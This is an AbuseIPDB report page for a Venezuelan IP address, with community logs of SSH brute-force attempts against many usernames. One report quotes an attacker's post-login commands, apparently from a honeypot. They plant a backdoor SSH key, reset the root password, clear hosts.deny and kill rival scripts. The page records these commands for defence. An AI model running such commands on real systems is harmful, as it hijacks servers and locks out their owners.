AbuseIPDB » 150.185.5.104

150.185.5.104 was found in our database!

This IP was reported 2,627 times. Confidence of Abuse is 0%: ?

ISP	Fundación Centro Nacional de Innovación Tecnológica (CENIT)
Usage Type	Commercial
Domain Name	cnti.gob.ve
Country	Venezuela (Bolivarian Republic of)
City	Caracas, Distrito Federal

Report 150.185.5.104

Whois 150.185.5.104

IP Abuse Reports for 150.185.5.104:

This IP address has been reported a total of 2,627 times from 237 distinct sources. 150.185.5.104 was first reported on May 30th 2022, and the most recent report was 8 months ago.

Old Reports: The most recent abuse report for this IP address is from 8 months ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
sezar.dev	2023-10-29 07:55:26 (1 year ago)	2023-10-29T11:19:41.927879SezarServer sshd[3357519]: Failed password for root from 150.185.5.104 por ... show more2023-10-29T11:19:41.927879SezarServer sshd[3357519]: Failed password for root from 150.185.5.104 port 40996 ssh2 2023-10-29T11:19:42.710597SezarServer sshd[3357519]: Disconnected from authenticating user root 150.185.5.104 port 40996 [preauth] 2023-10-29T11:25:26.090365SezarServer sshd[3358808]: Invalid user sammy from 150.185.5.104 port 35474 ... show less	Brute-Force SSH
Parth Maniar	2023-10-29 05:29:28 (1 year ago)	This IP address carried out 76 SSH credential attack (attempts) on 28-10-2023. For more information ... show moreThis IP address carried out 76 SSH credential attack (attempts) on 28-10-2023. For more information or to report interesting / incorrect findings, give me a shoutout @parthmaniar on Twitter. show less	Brute-Force SSH
timsan	2023-10-29 05:20:01 (1 year ago)	2023-10-28T22:17:53.133281-07:00 oef sshd[330094]: Failed password for invalid user minecraft from 1 ... show more2023-10-28T22:17:53.133281-07:00 oef sshd[330094]: Failed password for invalid user minecraft from 150.185.5.104 port 59277 ssh2 2023-10-28T22:19:58.681571-07:00 oef sshd[330103]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=150.185.5.104 user=root 2023-10-28T22:20:00.844060-07:00 oef sshd[330103]: Failed password for root from 150.185.5.104 port 58680 ssh2 ... show less	Brute-Force SSH
Hessfr	2023-10-29 04:21:00 (1 year ago)	Oct 29 04:18:22 speedtest sshd[2635049]: Invalid user ftpadmin from 150.185.5.104 port 38463 O ... show moreOct 29 04:18:22 speedtest sshd[2635049]: Invalid user ftpadmin from 150.185.5.104 port 38463 Oct 29 04:18:41 speedtest sshd[2635051]: Invalid user admin from 150.185.5.104 port 40110 Oct 29 04:20:00 speedtest sshd[2635076]: Invalid user jenkins from 150.185.5.104 port 47157 Oct 29 04:20:20 speedtest sshd[2635146]: Invalid user ftpguest from 150.185.5.104 port 48805 Oct 29 04:20:59 speedtest sshd[2635156]: Invalid user user from 150.185.5.104 port 52100 ... show less	Brute-Force SSH
Rizzy	2023-10-29 02:59:31 (1 year ago)	Multiple failed SSH logins	Brute-Force SSH
bluecloudwork	2023-10-29 02:55:07 (1 year ago)	Fail2Ban - Brute-force SSH server ...	Brute-Force SSH
Hirte	2023-10-29 02:00:01 (1 year ago)	C2: Brutforce ssh Login	Brute-Force
sezar.dev	2023-10-29 01:46:37 (1 year ago)	2023-10-29T05:16:33.589250SezarServer sshd[3277098]: pam_unix(sshd:auth): authentication failure; lo ... show more2023-10-29T05:16:33.589250SezarServer sshd[3277098]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=150.185.5.104 2023-10-29T05:16:35.512056SezarServer sshd[3277098]: Failed password for invalid user ts3bot from 150.185.5.104 port 50626 ssh2 2023-10-29T05:16:36.473992SezarServer sshd[3277098]: Disconnected from invalid user ts3bot 150.185.5.104 port 50626 [preauth] ... show less	Brute-Force SSH
morm	2023-10-29 01:33:05 (1 year ago)	Oct 28 19:30:51 fortemn sshd[2377660]: Invalid user postgres from 150.185.5.104 port 46537 Oct ... show moreOct 28 19:30:51 fortemn sshd[2377660]: Invalid user postgres from 150.185.5.104 port 46537 Oct 28 19:31:16 fortemn sshd[2377687]: Invalid user esuser from 150.185.5.104 port 48255 Oct 28 19:31:54 fortemn sshd[2377691]: Invalid user ts3 from 150.185.5.104 port 51673 Oct 28 19:32:14 fortemn sshd[2377718]: Invalid user osboxes from 150.185.5.104 port 53383 Oct 28 19:32:55 fortemn sshd[2377724]: Invalid user guest1 from 150.185.5.104 port 56811 ... show less	Brute-Force SSH
pertec	2023-10-29 00:51:56 (1 year ago)	(sshd) Failed SSH login from 150.185.5.104 (VE/Venezuela/-/-/lb01.reacciun.ve/-): 5 in the last 3600 ... show more(sshd) Failed SSH login from 150.185.5.104 (VE/Venezuela/-/-/lb01.reacciun.ve/-): 5 in the last 3600 secs show less	Brute-Force SSH
linuxgemini	2023-10-28 23:04:04 (1 year ago)	fail2banned (ssh brute)	Brute-Force SSH
ghostwarriors	2023-10-28 22:50:32 (1 year ago)	Unauthorized connection attempt detected, SSH Brute-Force	Port Scan Brute-Force SSH
ThreatBook.io	2023-10-28 22:35:08 (1 year ago)	2023-10-28 01:25:48 ["cd ~; chattr -ia .ssh; lockr -ia .ssh","cd ~ && rm -rf .ssh && mkdir .ssh && e ... show more2023-10-28 01:25:48 ["cd ~; chattr -ia .ssh; lockr -ia .ssh","cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","cat /proc/cpuinfo \| grep name \| wc -l","echo \"root:H2XFqXL6TviL\"\|chpasswd\|bash","rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","cat /proc/cpuinfo \| grep name \| head -n 1 \| awk '{print $4,$5,$6,$7,$8,$9;}'","free -m \| grep Mem \| awk '{print $2 ,$3, $4, $5, $6, $7}'","ls -lh $(which ls)","which ls","crontab -l","w","uname -m","cat /proc/cpuinfo \| grep model \| grep name \| wc -l","top"] show less	SSH
anon333	2023-10-28 22:14:53 (1 year ago)	Cowrie Honeypot: 2 unauthorised SSH/Telnet login attempts between 2023-10-28T22:11:47Z and 2023-10-2 ... show moreCowrie Honeypot: 2 unauthorised SSH/Telnet login attempts between 2023-10-28T22:11:47Z and 2023-10-28T22:14:53Z show less	Brute-Force SSH
blackynet	2023-10-28 20:49:13 (1 year ago)	2023-10-28T22:38:57.807959email sshd[28586]: Invalid user admin from 150.185.5.104 port 57260 ... show more2023-10-28T22:38:57.807959email sshd[28586]: Invalid user admin from 150.185.5.104 port 57260 2023-10-28T22:47:00.212704email sshd[4745]: Invalid user administrator from 150.185.5.104 port 36585 2023-10-28T22:47:58.507523email sshd[5632]: Invalid user support from 150.185.5.104 port 41958 2023-10-28T22:48:54.740836email sshd[6590]: Invalid user sftptest from 150.185.5.104 port 47329 2023-10-28T22:49:12.594614email sshd[6942]: Invalid user testftp from 150.185.5.104 port 49119 ... show less	Brute-Force SSH